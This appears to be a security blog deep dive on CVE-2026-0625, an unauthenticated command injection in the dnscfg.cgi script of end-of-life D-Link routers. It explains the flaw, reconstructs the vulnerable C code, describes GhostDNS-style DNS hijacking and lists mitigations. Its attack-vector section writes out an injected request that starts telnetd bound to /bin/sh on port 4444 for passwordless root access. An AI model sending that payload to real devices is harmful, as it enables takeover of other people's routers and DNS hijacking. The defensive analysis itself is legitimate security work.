Zombie Routers & GhostDNS: The CVE-2026-0625 Deep Dive

In the world of cybersecurity, we often obsess over the latest zero-day in the Linux kernel or a complex heap overflow in Chrome. But sometimes, the most dangerous threats are the ghosts of the past. Enter CVE-2026-0625, a vulnerability that proves bad code never truly dies—it just sits on a dusty shelf waiting to be plugged back in.

The target? A veritable museum of D-Link legacy devices: the DSL-2640B, DIR-600, and the DNS-320 ShareCenter, among others. These are the beige plastic boxes that have been sitting in small business closets and home offices since the early 2010s, humming along, routing packets, and effectively acting as open doors to the internet.

This isn't a subtle cryptographic weakness. It's a sledgehammer. We're looking at Unauthenticated Remote Code Execution via a legacy CGI script. It allows any script kiddie with a curl binary to turn your router into a traffic-sniffing zombie or a crypto-mining space heater. The worst part? There is no fix coming. The vendor has officially washed their hands of it, leaving the internet's immune system to deal with the infection.

The vulnerability lives in dnscfg.cgi, a Common Gateway Interface script responsible for—you guessed it—configuring the device's DNS settings. In the embedded world, CGI scripts are often compiled C binaries or shell scripts that take HTTP requests and translate them into system actions.

Where did the developers go wrong? They committed two cardinal sins of web security:

1. Implicit Trust (Auth Bypass): The developers assumed that because the web interface usually requires a login, every script is protected. They were wrong. The dnscfg.cgi endpoint fails to verify session tokens or cookies before processing the request. It assumes that if you can reach the door, you're allowed inside.

2. Unsanitized Input (Command Injection): The script takes the parameters dnsPrimary and dnsSecondary from the HTTP GET request and passes them directly to the underlying operating system. It treats user input as trusted data, which is the software equivalent of eating a sandwich you found on the subway floor.

Since these devices are End-of-Life (EOL), D-Link has not released a patch, which means we don't have a nice "Before vs. After" git diff to analyze. However, based on the behavior and standard embedded development practices of that era, we can reconstruct the crime scene with high accuracy.

The vulnerable logic likely looks like this C pseudocode snippet, common in uClibc/BusyBox environments:

// VULNERABLE LOGIC RECONSTRUCTION
void handle_request(char *query_string) {
    char primary_dns[64];
    char command[256];
 
    // 1. Parse the parameter directly from the URL
    // No check for "session_id" or "cookie" here!
    get_param(query_string, "dnsPrimary", primary_dns);
 
    // 2. Construct the system command insecurely
    // The developer intends to run: echo "nameserver 8.8.8.8" > /etc/resolv.conf
    sprintf(command, "echo 'nameserver %s' > /etc/resolv.conf", primary_dns);
 
    // 3. Execute with root privileges
    // If primary_dns contains "; telnetd;", we execute arbitrary code.
    system(command);
}

The function system() spawns a shell (/bin/sh -c) to execute the string. The shell parses special characters like semicolons (;), pipes (|), and backticks (`). By injecting these characters, we break out of the intended echo command and start our own.

Exploiting this is trivially easy. We don't need to craft a complex heap spray or bypass ASLR. We just need to ask the web server nicely.

The Attack Vector

The goal is to inject a payload into the dnsPrimary parameter. A standard request looks like this: GET /dnscfg.cgi?dnsPrimary=8.8.8.8&dnsSecondary=8.8.4.4

An attacker modifies this to append a malicious command. For example, to start a Telnet daemon on port 4444 to gain a persistent root shell:

GET /dnscfg.cgi?dnsPrimary=1.1.1.1;telnetd+-p+4444+-l+/bin/sh&dnsSecondary=8.8.8.8 HTTP/1.1
Host: 192.168.0.1

The Breakdown

1. 1.1.1.1: Satisfies the initial echo command so the script doesn't error out immediately.
2. ;: The shell delimiter. It tells the OS, "Finish the previous command, then run this next one."
3. telnetd -p 4444 -l /bin/sh: Starts the Telnet server listening on port 4444 and binds it to the system shell (/bin/sh).

Once sent, the attacker simply connects: telnet [TARGET_IP] 4444 and enjoys root access without a password. This is exactly how the GhostDNS botnet operates, though they typically use the access to silently overwrite DNS settings rather than opening a loud shell.

While RCE is the technical classification, the primary use case for this vulnerability in the wild is DNS Hijacking. The 'GhostDNS' campaign automates this attack across thousands of devices.

When an attacker controls your router's DNS settings, they control your reality.

• Bank Fraud: You type bankofamerica.com. The router asks the attacker's DNS server for the IP. The attacker returns the IP of a phishing site that looks identical to the real bank. You log in, and your credentials are stolen instantly.
• Ad Injection: The attacker redirects requests for Google Analytics or ad networks to their own servers, injecting malicious pop-ups or crypto-miners into every unsecured website you visit.
• Botnet Recruitment: The device is enlisted into a DDoS swarm, using its bandwidth to attack other targets.

Because the attack happens at the router level, it affects every device on the network—phones, laptops, smart fridges—regardless of how secure those individual devices are.

Here is the hard truth: There is no patch.

D-Link has marked these devices as End-of-Life (EOL) and End-of-Service (EOS). They have explicitly stated that no firmware updates will be provided to address CVE-2026-0625. If you are a sysadmin managing these devices, you are on your own.

Mitigation Strategies

1. Replace the Hardware: This is the only 100% secure solution. Move to a supported model with active firmware maintenance.
2. Disable Remote Management: If you absolutely must keep the device, ensure the WAN-facing web interface is disabled. The vulnerability is exploitable from the LAN, but exposing it to the WAN is suicide.
3. Network Segmentation: Place these devices on a restricted VLAN with no access to sensitive internal segments.
4. Static DNS on Clients: Hardcode DNS servers (e.g., 1.1.1.1 or 8.8.8.8) on your endpoints (laptops/phones) to bypass the router's compromised DNS configuration.